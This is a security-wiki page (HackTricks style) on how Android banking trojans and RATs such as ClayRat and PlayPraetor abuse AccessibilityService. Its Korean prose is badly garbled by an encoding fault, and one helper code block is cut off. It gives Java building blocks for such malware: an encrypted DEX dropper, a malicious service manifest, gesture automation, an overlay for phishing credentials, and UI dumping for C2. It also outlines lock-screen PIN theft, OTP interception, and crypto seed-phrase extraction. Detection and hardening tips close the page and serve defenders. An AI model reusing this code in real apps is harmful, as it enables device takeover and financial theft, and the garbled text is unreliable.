Android Accessibility Service ์ ์ฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
AccessibilityService๋ ์ฅ์ ๊ฐ ์๋ ์ฌ์ฉ์๊ฐ Android ์ฅ์น๋ฅผ ์กฐ์ํ ์ ์๋๋ก ๋ง๋ค์ด์ก์ต๋๋ค. ๋ถํํ๋ ๋์ผํ ๊ฐ๋ ฅํ ์๋ํ APIs (global navigation, text input, gesture dispatch, overlay windowsโฆ)๋ ์
์ฑ์ฝ๋์ ์ํด ๋ฌด๊ธฐํ๋์ด ํด๋ํฐ์ ๋ํ complete remote control์ ์ป์ ์ ์์ผ๋ฉฐ without root privileges.
์ต์ Android banking Trojans ๋ฐ Remote-Access-Trojans (RATs)์ธ PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda ๋ฑ์ ๋์ผํ ์๋ฒ์ ๋ฐ๋ฆ ๋๋ค:
- ์ฌํ๊ณตํ ๊ธฐ๋ฒ์ผ๋ก ํผํด์๊ฐ ์ ์ฑ ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ํ์ฑํํ๋๋ก ์ ๋ํ๋ค (๊ถํ BIND_ACCESSIBILITY_SERVICE๋ โhigh-riskโ๋ก ๊ฐ์ฃผ๋๋ฉฐ ๋ช ์์ ์ธ ์ฌ์ฉ์ ๋์์ ํ์๋ก ํ๋ค).
- ํด๋น ์๋น์ค๋ฅผ ํ์ฉํ์ฌ
- ํ๋ฉด์ ํ์๋๋ ๋ชจ๋ UI ์ด๋ฒคํธ์ ํ ์คํธ๋ฅผ ์บก์ฒํ๋ค,
- ํฉ์ฑ ์ ์ค์ฒ(
dispatchGesture)์ ๊ธ๋ก๋ฒ ์ก์ (performGlobalAction)์ ์ฃผ์ ํด ์ด์์๊ฐ ์ํ๋ ๋ชจ๋ ์์ ์ ์๋ํํ๋ค, - TYPE_ACCESSIBILITY_OVERLAY ์๋์ฐ ํ์
์ ์ฌ์ฉํด ์ ์ ์ฑ ์์ ์ ์ฒด ํ๋ฉด ์ค๋ฒ๋ ์ด๋ฅผ ๊ทธ๋ฆฐ๋ค (
SYSTEM_ALERT_WINDOWํ๋กฌํํธ ์์!), - ํผํด์๋ฅผ ๋์ ํด ์์คํ ๋ํ์์๋ฅผ ํด๋ฆญํ์ฌ ์ถ๊ฐ ๋ฐํ์ ๊ถํ์ ์กฐ์ฉํ ๋ถ์ฌํ๋ค.
- ์ฌ์ฉ์๊ฐ ์ ํ ์ด์ํด ๋ณด์ด์ง ์๋ ํ๋ฉด์ ๋ณด๋ ๋์ ์ค์๊ฐ์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๊ฑฐ๋ **On-Device-Fraud (ODF)**๋ฅผ ์ํํ๋ค.
Packed Accessibility droppers
ClayRat v3.0.8๋ Accessibility RAT์ assets/ ์๋์ ์จ๊ฒจ์ง ๋จ๊ณ์ ํ์ด๋ก๋์ ๊ฒฐํฉํฉ๋๋ค. ๋ฐํ์์ ํธ์คํธ APK๋:
assets/*.dat์์ ์ํธํ๋ blob์ ์คํธ๋ฆฌ๋ฐํ๋ค.- Java/Kotlin ๋ก๋์ ์๋ฒ ๋๋ ํ๋์ฝ๋ฉ๋ AES/CBC ํค + IV๋ก ์ด๋ฅผ ๋ณตํธํํ๋ค.
- ํ๋ฌธ DEX๋ฅผ ์ฑ์ private dir์ ๊ธฐ๋กํ๊ณ
DexClassLoader๋ฅผ ํตํด ๋ก๋ํ์ฌ ์ค์ ์คํ์ด์จ์ด ํด๋์ค๋ ๋ฉ๋ชจ๋ฆฌ์์๋ง ๋ ธ์ถ๋๊ฒ ํ๋ค.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();
์ด ํจํน ํจํด (ATT&CK T1406.002)์ dropper๊ฐ ์คํ๋ ๋๊น์ง Accessibility ๋ชจ๋์ ๋์คํฌ์ ๋์ง ์์ static signature scans์ Play Protect๋ฅผ ์ฐํํ๋ฉฐ, ์ฌ์ฉ์๊ฐ ์ํํ ๊ถํ์ ์ด๋ฏธ ๋ถ์ฌํ ๋๊น์ง ํ์ง๋์ง ์๊ฒ ํ๋ค.
๊ถํ ์์ฒญ
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
๋๋ด๋ XML์ ๊ฐ์ง ๋ํ์์๊ฐ ์ด๋ป๊ฒ ๋ณด์ผ์ง ์ ์ํฉ๋๋ค:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
์๊ฒฉ UI ์๋ํ ๊ธฐ๋ณธ ์์
Accessibility service ์๋ํ ๊ณจ๊ฒฉ
```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }// Simulate HOME / BACK / RECENTS โฆ private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }
</details>
์ด ๋ ๊ฐ์ API๋ง์ผ๋ก ๊ณต๊ฒฉ์๋:
* ํ๋ฉด ์ ๊ธ์ ํด์ ํ๊ณ , ์ํ ์ฑ์ ์ด์ด UI ํธ๋ฆฌ๋ฅผ ํ์ํ ๋ค ์ด์ฒด ํผ์ ์ ์ถํ ์ ์๋ค.
* ๋ ์ค๋ฅด๋ ๋ชจ๋ ๊ถํ ๋ํ์์๋ฅผ ์๋ฝํ ์ ์๋ค.
* ์ถ๊ฐ APK๋ฅผ Play Store intent๋ฅผ ํตํด ์ค์น/์
๋ฐ์ดํธํ ์ ์๋ค.
---
## ์
์ฉ ํจํด
### 1. Overlay Phishing (Credential Harvesting)
A transparent or opaque `WebView` is added to the window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // โฌ
bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
The victim types credentials into the fake form while the background app receives the same gestures โ no suspicious โdraw over other appsโ prompt is ever shown.
Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.
ClayRat exposes this capability with the show_block_screen / hide_block_screen commands that download overlay templates from the C2. Operators can switch layouts on the fly to:
- Black out the panel so the victim assumes the handset is off or frozen while automated gestures disable Play Protect or grant more permissions.
- Display fake system update / battery optimization panels that justify why the device is โbusyโ while background automation continues.
- Show an interactive PIN pad overlay that mirrors the system lock screenโthe malware captures every digit and streams it to the operator as soon as a 4โdigit code is entered.
Because TYPE_ACCESSIBILITY_OVERLAY windows never raise the SYSTEM_ALERT_WINDOW permission prompt, the victim only sees the decoy UI while the RAT keeps interacting with the real apps underneath.
2. ๋๋ฐ์ด์ค ๋ด ์ฌ๊ธฐ ์๋ํ
Malware families such as PlayPraetor maintain a persistent WebSocket channel where the operator can issue high-level commands (init, update, alert_arr, report_list, โฆ). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.
3. ํ๋ฉด ์คํธ๋ฆฌ๋ฐ ๋ฐ ๋ชจ๋ํฐ๋ง
ClayRat upgrades the usual MediaProjection trick into a remote desktop stack:
turbo_screentriggers the MediaProjection consent dialog; the Accessibility service clicks โStart nowโ so the victim never intervenes.- With the resulting
MediaProjectiontoken it creates aVirtualDisplaybacked by anImageReader, keeps aForegroundServicealive, and drains frames on worker threads. - Frames are JPEG/PNG encoded according to the operator-supplied
set_qualityparameter (defaults to60when missing) and shipped over an HTTPโWebSocket upgrade advertising the customClayRemoteDesktopuser-agent. start_desktop/stop_desktopmanage the capture threads whilescreen_tap,screen_swipe,input_text,press_home,press_backandpress_recentsreplay gestures against the live framebuffer.
The result is a VNC-like feed delivered entirely through sanctioned APIsโno root or kernel exploitsโyet it hands the attacker live situational awareness with millisecond latency.
4. ์ ๊ธํ๋ฉด ์ธ์ฆ ์ ๋ณด ํ์ทจ ๋ฐ ์๋ ์ ๊ธํด์
ClayRat subscribes to TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED events emitted by com.android.systemui (Keyguard). It reconstructs whatever guard is active:
- PIN โ watches keypad button presses until the locker reports completion.
- Password โ concatenates strings seen in the focused password field for each
AccessibilityEvent. - Pattern โ records the ordered node indices inferred from gesture coordinates across the 3ร3 grid.
Secrets plus metadata (lock type + timestamp) are serialized into SharedPreferences under lock_password_storage. When the operator pushes auto_unlock, the service wakes the device with unlock_device / screen_on, replays the stored digits or gestures through dispatchGesture, and silently bypasses the keyguard so subsequent ODF workflows can continue.
5. ์๋ฆผ ํผ์ฑ ๋ฐ ์์ง
A companion Notification Listener turns the shade into a phishing surface:
get_push_notificationsdumps every currently visible notification, including OTP / MFA messages.- The
notificationscommand toggles anotifications_enabledflag so each futureonNotificationPosted()payload is streamed to the C2 in real time. send_push_notificationlets operators craft fake, interactive notifications that impersonate banking or chat apps; any text the victim submits is parsed as credentials and exfiltrated immediately.
Because Accessibility can open/dismiss the notification shade programmatically, this method harvests secrets without touching the targeted apps.
6. ํตํ ๋ฐ SMS ๋ช ๋ น ์ฑ๋
After coercing the user into setting the RAT as the default SMS app, the following commands provide complete modem control:
send_smsandretransmishionsend arbitrary or replayed messages to attacker-controlled numbers.messsmsiterates over the entire contacts database to spam phishing links for worm-like propagation.make_callinitiates voice calls that support social-engineering workflows.get_sms_list/get_smsandget_call_log/get_callsdump inboxes and call history so MFA codes or call metadata can be abused instantly.
Combined with Accessibility-driven UI navigation, ClayRat can receive an OTP via notification/SMS and immediately input it inside the target banking or enterprise app.
7. ํ์ง, ์์ง ๋ฐ ํ๋ก์
Additional ClayRat commands map the environment and keep C2 resilient:
get_apps/get_apps_listenumerate installed packages (ATT&CK T1418).get_device_inforeports model, OS version and battery state (T1426).get_cam/get_cameracapture front-camera stills, whileget_keylogger_dataserializes lock PINs plus passwords, view descriptions and hints scraped from sensitive fields.get_proxy_datafetches a proxy WebSocket URL, appends the unique device ID and spins a job that tunnels HTTP/HTTPS over the same bidirectional channel (T1481.002 / T1646).
PlayPraetor โ ๋ช ๋ น ๋ฐ ์ ์ด ์ํฌํ๋ก์ฐ
- HTTP(S) heartbeat โ iterate over a hard-coded list until one domain answers
POST /app/searchPackageNamewith the active C2. - WebSocket (port 8282) โ bidirectional JSON commands:
updateโ push new conf/APKsalert_arrโ configure overlay templatesreport_listโ send list of targeted package namesheartbeat_webโ keep-alive
- RTMP (port 1935) โ live screen/video streaming.
- REST exfiltration โ
/app/saveDevice(fingerprint)/app/saveContacts|/app/saveSms|/app/uploadImageBase64/app/saveCardPwd(bank creds)
The AccessibilityService is the local engine that turns those cloud commands into physical interactions.
์ ์ฑ Accessibility ์๋น์ค ํ์ง
adb shell settings get secure enabled_accessibility_services- Settings โ Accessibility โ Downloaded services โ look for apps that are not from Google Play.
- MDM / EMM solutions can enforce
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+) to block sideloaded services. - Analyse running services:
adb shell dumpsys accessibility | grep "Accessibility Service"
์ฑ ๊ฐ๋ฐ์๋ฅผ ์ํ ๊ฐํ ๊ถ๊ณ
- Mark sensitive views with
android:accessibilityDataSensitive="accessibilityDataPrivateYes"(API 34+). - Combine
setFilterTouchesWhenObscured(true)withFLAG_SECUREto prevent tap/overlay hijacking. - Detect overlays by polling
WindowManager.getDefaultDisplay().getFlags()or theViewRootImplAPI. - Refuse to operate when
Settings.canDrawOverlays()or a non-trusted Accessibility service is active.
ATS ์๋ํ ์นํธ์ํธ (Accessibility-driven)
Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
ATS ์๋ํ๋ฅผ ์ํ ํฌํผ ๋ฉ์๋
```java // Helpers inside your AccessibilityService private List์์ ํ๋ฆ (์ฒด์ฝ์ด โ ์์ด ๋ ์ด๋ธ):
- โNovรก platbaโ (์ ๊ฒฐ์ ) โ ํด๋ฆญ
- โZadat platbuโ (๊ฒฐ์ ์ ๋ ฅ) โ ํด๋ฆญ
- โNovรฝ pลรญjemceโ (์ ์์ทจ์ธ) โ ํด๋ฆญ
- โDomรกcรญ ฤรญslo รบฤtuโ (๊ตญ๋ด ๊ณ์ข๋ฒํธ) โ ํฌ์ปค์ค ๋ฐ
ACTION_SET_TEXT - โDalลกรญโ (๋ค์) โ ํด๋ฆญ โ โฆ โZaplatitโ (๊ฒฐ์ ) โ ํด๋ฆญ โ PIN ์ ๋ ฅ
Fallback: ํ
์คํธ ์กฐํ๊ฐ ์ปค์คํ
์์ ฏ ๋๋ฌธ์ ์คํจํ ๋ dispatchGesture์ ํ๋์ฝ๋๋ ์ขํ ์ฌ์ฉ.
๋ํ ๊ด์ฐฐ๋ ์ฌ๋ก: ์ ์ก ์ ์ limits UI๋ก ์ด๋ํด ์ผ์ผ ํ๋๋ฅผ ๋๋ฆฌ๋ ๋ฐฉ์์ผ๋ก check_limit ๋ฐ limit ์ ์ ์ฌ์ ๋จ๊ณ ์ํ.
ํ ์คํธ ๊ธฐ๋ฐ ์ ์ฌ ํ๋ฉด ์คํธ๋ฆฌ๋ฐ
์ ์ง์ฐ ์๊ฒฉ ์ ์ด๋ฅผ ์ํด ์ ์ฒด ๋น๋์ค ์คํธ๋ฆฌ๋ฐ ๋์ ํ์ฌ UI ํธ๋ฆฌ์ ํ ์คํธ ํํ์ ๋คํํ์ฌ ๋ฐ๋ณต์ ์ผ๋ก C2์ ์ ์ก.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
์ด๊ฒ์ txt_screen (์ผํ์ฑ) ๋ฐ screen_live (์ฐ์) ๊ฐ์ ๋ช
๋ น์ ๊ธฐ์ด์
๋๋ค.
Device Admin ๊ฐ์ ์๋จ
Device Admin ๋ฆฌ์๋ฒ๊ฐ ํ์ฑํ๋๋ฉด, ์ด๋ฌํ ํธ์ถ์ ์๊ฒฉ ์ฆ๋ช ์ ์บก์ฒํ๊ณ ์ ์ด๋ฅผ ์ ์งํ ์ ์๋ ๊ธฐํ๋ฅผ ๋๋ฆฝ๋๋ค:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
Crypto wallet seed-phrase ์ถ์ถ ํจํด
MetaMask, Trust Wallet, Blockchain.com and Phantom์์ ๊ด์ฐฐ๋ ํ๋ฆ:
- ๋๋๋ PIN(overlay/Accessibility๋ฅผ ํตํด ์บก์ฒ) ๋๋ ์ ๊ณต๋ wallet password๋ก ์ ๊ธ ํด์ .
- ์ด๋: Settings โ Security/Recovery โ Reveal/Show recovery phrase.
- ํ ์คํธ ๋ ธ๋๋ฅผ keyloggingํ๊ฑฐ๋, secure-screen bypass ๋๋ ํ ์คํธ๊ฐ ๊ฐ๋ ค์ง ๊ฒฝ์ฐ screenshot OCR์ ํตํด ๋ฌธ๊ตฌ๋ฅผ ์์ง.
- ์
๋ ํฐ ์์ ํ๋ฅผ ์ํด ๋ค๊ตญ์ด ๋ก์ผ์ผ(EN/RU/CZ/SK)์ ์ง์ โ ๊ฐ๋ฅํ๋ฉด
viewIdResourceName์ ์ฐ์ ์ฌ์ฉํ๊ณ , ์์ผ๋ฉด ๋ค๊ตญ์ด ํ ์คํธ ๋งค์นญ์ผ๋ก ํด๋ฐฑ.
NFC-relay ์ค์ผ์คํธ๋ ์ด์
Accessibility/RAT ๋ชจ๋์ 3๋จ๊ณ๋ก ์ ์ฉ NFC-relay ์ฑ(e.g., NFSkate)์ ์ค์น ๋ฐ ์คํํ๊ณ , ํผํด์๋ฅผ ์นด๋-ํ๋ ์ ํธ relay ๋จ๊ณ๋ก ์๋ดํ๊ธฐ ์ํด overlay ๊ฐ์ด๋๋ฅผ ์ฃผ์ ํ ์ ์๋ค.
๋ฐฐ๊ฒฝ ๋ฐ TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- Return of ClayRat: Expanded Features and Techniques
- ClayRat v3 IoCs (Zimperium)
- PlayPraetorโs evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation โ Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate โ NFC relay cash-out tactic (ThreatFabric)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


